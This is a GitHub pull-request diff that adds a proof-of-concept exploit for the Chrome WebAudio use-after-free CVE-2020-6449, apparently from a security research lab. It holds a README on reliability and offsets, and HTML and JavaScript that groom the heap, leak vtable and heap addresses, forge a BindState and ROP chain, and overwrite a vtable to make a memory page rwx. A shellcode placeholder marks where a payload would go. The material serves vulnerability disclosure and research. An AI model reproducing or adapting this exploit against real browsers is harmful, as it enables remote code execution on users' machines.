Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 24 additions & 0 deletions SecurityExploits/Chrome/blink/CVE-2020-6449/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
## Exploit for Chrome CVE-2020-6449

The write up can be found [here](https://securitylab.github.com/research/CVE-2020-6449-exploit-chrome-uaf). This is a bug in the webaudio component I discovered in March 2020. Chromium issue ticket can be found [here.](https://bugs.chromium.org/p/chromium/issues/detail?id=1059686)

The exploit is tested on Ubuntu 18.04 LTS, version 80.0.3987.137, with the following build config: (Probably can reduce symbol level)

```
is_debug=false
symbol_level = 2
blink_symbol_level = 2
```

Offsets and object sizes used are based on the linux build.

The exploit is mostly reliable when testing on localhost with python `SimpleHTTPServer`. However, it is not 100% reliable. This is due to the hardcoded offset between the address of a memory bucket that was leaked and the memory bucket that is actually used to store controlled data. This offset is used in `calculateControlledAddress`:

```
//Hardcoded offset between heap bins.
let controlledAddress = bigIntView[0] + 0x184798n;
```

This mostly fail when there is a broken pipe problem with the `SimpleHTTPServer`, which happens when the browser is not shutdown properly (shutdown by `Ctrl+C` rather than closing it from UI) Reliability can probably be improved by using memory buckets that are closer together, or just by putting the whole thing inside an out-of-process-iframe so that if it crashed, it can be restarted from the parent. (Although the bucket offset would need to be tuned again in this case)

The exploit takes a couple of minutes to run. If successful, it will overwrite memory permission for a page that holds our controlled data and will print out the address of this page. It can then be verified that the memory permission has been written to `rwx` for that page using `/proc/<id>/maps` (the renderer can be easy to spot by as it should consumed about 400Mb of memory). After that, executing shell code is easy, although I have not included or executed any shell code in this exploit.
15 changes: 15 additions & 0 deletions SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
// white-noise-processor.js
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}

class DelayProcessor extends AudioWorkletProcessor {
process (inputs, outputs, parameters) {
sleep(2);
return true
}
}

registerProcessor('delay-processor', DelayProcessor)
Original file line number Diff line number Diff line change
@@ -0,0 +1,298 @@
<html>
<head>
<script>
audioCtx = new OfflineAudioContext(1, 3072, 3072);
audioCtx2 = new OfflineAudioContext(1, 3072, 3072);
audioCtx3 = new OfflineAudioContext(1, 3072, 3072);
audioCtx4 = new OfflineAudioContext(1, 3072, 3072);
audioCtx5 = new OfflineAudioContext(1, 3072, 3072);
panners = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()]
delayPad = new Array(2);
counter = 0;
delay_leak = null;
controlled_data = null;
controlled_data2 = null;
arr = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()];
pageOffset = 1736;
hrtf_vtable_offset = 0xa1b6b30n;
//base::internal::Invoker<base::internal::BindState<void (*)(blink::KURL const&, base::WaitableEvent*, std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> >*), blink::KURL, WTF::CrossThreadUnretainedWrapper<base::WaitableEvent>, WTF::CrossThreadUnretainedWrapper<std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> > > >, void ()>::RunOnce(base::internal::BindStateBase*)
polymorphicInvokerOffset = 0x97b7d50n;

function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}

function convertAddress(float) {
let buf = new ArrayBuffer(4);
floatView = new Float32Array(buf);
intView = new Uint8Array(buf);
floatView[0] = float;
let out = '';
for (let i = 3; i >= 0; i--) {
if (intView[i] == 0) {
out += '00';
continue;
}
let result = intView[i].toString(16);
out += intView[i].toString(16);
}
return out;
}

function addressToInt64(float0, float1) {
let buf = new ArrayBuffer(8);
floatView = new Float32Array(buf);
int8View = new Uint8Array(buf);
floatView[0] = float0;
floatView[1] = float1;
//Fix alignment
let bigBuf = new ArrayBuffer(8);
let bigint8View = new Uint8Array(bigBuf);
for (let i = 0; i < 6; i++) {
bigint8View[i] = int8View[i +2];
}
bigint8View[6] = 0;
bigint8View[7] = 0;
let bigint64View = new BigUint64Array(bigBuf);
return bigint64View[0];
}

function load() {
//Pad to make controlled data overlap with boundary
delayPad[0] = audioCtx4.createDelay(0.1663);
//Allocate controlled data
controlled_data = audioCtx2.createDelay(0.1663);
controlled_data2 = audioCtx5.createDelay(0.1663);

//Arrange the layout of the bucket 1152
//First 3 chunks
for (let i = 0; i < panners.length; i++) {
panners[i].panningModel = 'HRTF';
}
//Create a DelayDSPKernel whose buffer_ has the right size, which will be used to leak data.
delay_leak = audioCtx.createDelay(0.0908);
//3/3072 = 1./1024, need denominator to be power of 2 to make some arithmetic simpler
delay_leak.delayTime.value = 3 * 0.0009765625;
//SetPanningModel also creates a bunch of other buffers with size 1056 in a different thread, wait for these to be created first
//before deleting so that the gap doesn't get occupied by these.
sleep(1000);
//Free up the first 3 chunks to arrange the layout, in reverse order
for (let i = panners.length - 1; i >= 0; i--) {
panners[i].panningModel = 'equalpower';
}
audioCtx.audioWorklet.addModule('delay-processor.js').then(()=>{
createIframe();
});
}

function createIframe() {
let iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.setAttribute('id', 'ifrm');
iframe.src = 'finished_delay_release2.html';
document.body.appendChild(iframe);
}

function calculatePageStart(address) {
return address & (-4096n)
}

function writeSource(vtableAddress, controlledAddress) {
let buffer = audioCtx2.createBuffer(1, 512, 3072);

let data = buffer.getChannelData(0);
let int8View = new Uint8Array(data.buffer);
let baseAddress = vtableAddress - hrtf_vtable_offset - 16n;
// let ropAddress = baseAddress + 158215616n + 564n - 16n;
//Jump to BlobCompleteCaller::OnComplete to call virtual function
let ropAddress = baseAddress + 0x305bd40n;
//Just a NoOpt address
let retAddress = ropAddress + 0x2cn;
let addressBuffer = new ArrayBuffer(8);
let bigIntView = new BigUint64Array(addressBuffer);
bigIntView[0] = ropAddress;
let ropInt8View = new Uint8Array(addressBuffer);
//Stores address to BlobCompleteCaller::OnComplete
let offset = 8 + 1736;
let size = 8;
for (let i = offset; i < offset + size; i++) {
int8View[i] = ropInt8View[i - offset];
}
offset += size;
//Stores bindState
size = 0xa8;
let polymorphicInvoker = baseAddress + polymorphicInvokerOffset;
//PolymorphicInvoker:
//mov rax,QWORD PTR [rdi + 0x20]; <-- function call
//mov rsi,QWORD PTR [rdi + 0x98]; <-- size
//mov rdx,QWORD PTR [rdi + 0xa0]; <-- access
//add rdi, 0x28 <--- page address to set permission
let setPermissions = baseAddress + 0x7f53980n;
let bindState = new ArrayBuffer(size);
let bindStateView = new DataView(bindState);
bindStateView.setBigUint64(0, 1n, true);
bindStateView.setBigUint64(8, polymorphicInvoker, true);
bindStateView.setBigUint64(0x10, retAddress, true);
bindStateView.setBigUint64(0x18, retAddress, true);
bindStateView.setBigUint64(0x20, setPermissions, true);
bindStateView.setBigUint64(0x98, 4096n, true); //<-- size
bindStateView.setBigUint64(0xa0, 0x03n, true); //<-- access
let bindStateIntView = new Uint8Array(bindState);
for (let i = offset; i < offset + size; i++) {
int8View[i] = bindStateIntView[i - offset];
}
//Replace with shell code.
for (let i = offset + size; i < offset + size + 3; i++) {
int8View[i] = 0x42;
}

let src = audioCtx2.createBufferSource();
src.buffer = buffer;
src.connect(controlled_data);
controlled_data.connect(audioCtx2.destination);
src.start();
audioCtx2.suspend((4 * 128)/3072.0);

audioCtx2.startRendering();
}

function bigInt2Int8(bigInt) {
let buffer = new ArrayBuffer(8);
let bigIntView = new BigUint64Array(buffer);
let intView = new Uint8Array(buffer);
bigIntView[0] = bigInt;
return intView;
}

function rewriteVtable(controlledAddress) {
let buffer = audioCtx3.createBuffer(1, 280, 3072);
let data = buffer.getChannelData(0);
let int8View = new Uint8Array(data.buffer);
//Overwrite vtable to controlledAddress
let fakeVtableAddr = controlledAddress + 1736n;
let controlledInt8 = bigInt2Int8(fakeVtableAddr);
for (let i = 1090; i < 1098; i++) {
int8View[i] = controlledInt8[i - 1090];
}
//ControlledAddress + 16n now stores fake BindState
controlledInt8 = bigInt2Int8(fakeVtableAddr + 16n);
for (let i = 1098; i < 1098 + 8; i++) {
int8View[i] = controlledInt8[i - 1098];
}
let fakeObj = audioCtx3.createBufferSource();
fakeObj.buffer = buffer;
let delay = audioCtx3.createDelay(0.0908);
fakeObj.connect(delay);
delay.connect(audioCtx3.destination);
fakeObj.start();
audioCtx3.suspend((3 * 128)/3072.0).then(()=> {
arr[3].panningModel = 'equalpower';
});
audioCtx3.startRendering();
}

async function leak_addresses() {
let src = audioCtx.createOscillator();
src.connect(delay_leak);
delay_leak.connect(audioCtx.destination);
var buffer = await audioCtx.startRendering();
src.disconnect(delay_leak);
delay_leak.disconnect(audioCtx.destination);
delete src;
delete delay_leak;
let x = [];
for (let i = 0; i < 100; i++) {
x.push(new ArrayBuffer(1024 * 1024));
}
let out = buffer.getChannelData(0);
let addr0 = convertAddress(out[1]);
addr0 = addr0.substring(0,4);
let addr1 = convertAddress(out[2]);
let addr2 = convertAddress(out[5]);
addr2 = addr2.substring(0,4);
let addr3 = convertAddress(out[6]);
let div = document.getElementById("div1");
div.innerHTML = 'HRTFPanner vtable address: 0x' + addr1 + addr0 + ' bin72 address: 0x' + addr3 + addr2;
let intVtable = addressToInt64(out[1], out[2]);
let intHeap = addressToInt64(out[5], out[6]);
let div2 = document.getElementById("div2");
div2.innerHTML = 'HRTFPanner vtable: ' + intVtable + ' bin72: ' + intHeap;
return {vtable: intVtable, heap: intHeap}
}

function bigInt2hex(bigInt) {
let result = new BigUint64Array([bigInt]);
let resultInt8View = new Uint8Array(result.buffer);
let out = '';
for (let i = 7; i >= 0; i--) {
if (resultInt8View[i] == 0) {
out += '00';
} else {
out += resultInt8View[i].toString(16);
}
}
return out
}

function calculateControlledAddress(heapAddress) {
//Replace offset as it can be unreliable in the size 72 bin
let buffer = new ArrayBuffer(8);
let int8View = new Uint8Array(buffer);
let bigIntView = new BigUint64Array(buffer);
bigIntView[0] = heapAddress;
int8View[0] = 0x68;
int8View[1] = 0x41;
//Hardcoded offset between heap bins.
let controlledAddress = bigIntView[0] + 0x184798n;

let out = bigInt2hex(controlledAddress);
let page = bigInt2hex(controlledAddress + 0x700n);

let div3 = document.getElementById("div3");
div3.innerHTML = 'Controlled data address: 0x' + out + 'int address: ' + controlledAddress;
let div4 = document.getElementById("div4");
div4.innerHTML = 'Page permission from address: 0x' + page + ' will be written to rwx';
return controlledAddress;
}

function remove() {
let frame = document.getElementById("ifrm");
frame.parentNode.removeChild(frame);

if (counter < 32 + 4 * 7 + 2) {
//Trigger bug to move chunk backwards
let biquad = audioCtx.createBiquadFilter();
counter++;
console.log(counter);
delete biquad;
sleep(700);
createIframe();
} else {
//Fill the gap
for (let i = 0; i < arr.length; i++) {
arr[i].panningModel = 'HRTF';
}
leak_addresses().then((results) => {
controlledAddress = calculateControlledAddress(results.heap);
writeSource(results.vtable, controlledAddress);
for (let i = 0; i < 100; i++) {
new ArrayBuffer(1024 * 1024);
}
setTimeout(()=> {
rewriteVtable(controlledAddress);
}, 1000
);
});
}
}
</script>
</head>
<body onload="load()">
<div id = "div1"></div>
<div id = "div2"></div>
<div id = "div3"></div>
<div id = "div4"></div>
</body>
</html>
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
<!DOCTYPE html>
<html>
<head>
<script>
async function startStop() {
let audioCtx = new OfflineAudioContext(1,3072,3072);
await audioCtx.audioWorklet.addModule('test-processor2.js');
let src = audioCtx.createConstantSource();
src.start();
src.stop();
return audioCtx;
}

function resume(audioCtx) {
audioCtx.suspend((3 * 128)/3072.0).then(()=>{
let dest = audioCtx.createOscillator();
dest.start();
for (let i = 1; i < 2000; i++) {
dest = dest.connect(audioCtx.createPanner());
}
dest.connect(audioCtx.destination);
let testNode = new AudioWorkletNode(audioCtx, 'test-processor', {'numberOfOutputs' : 0});
let splitter = audioCtx.createChannelSplitter(2);
let src2 = audioCtx.createOscillator();
src2.connect(splitter);
splitter.connect(audioCtx.destination, 1);
splitter.connect(testNode, 0);
for (let i = 0; i < 100; i++) {
new ArrayBuffer(1024 * 1024 * 60);
}
setTimeout(()=>{
audioCtx.resume();
parent.remove();
}, 100);
});
audioCtx.startRendering();
}

function onLoad() {
startStop().then(resume);
}
</script>
</head>
<body onload="onLoad()"/>
</html>
Loading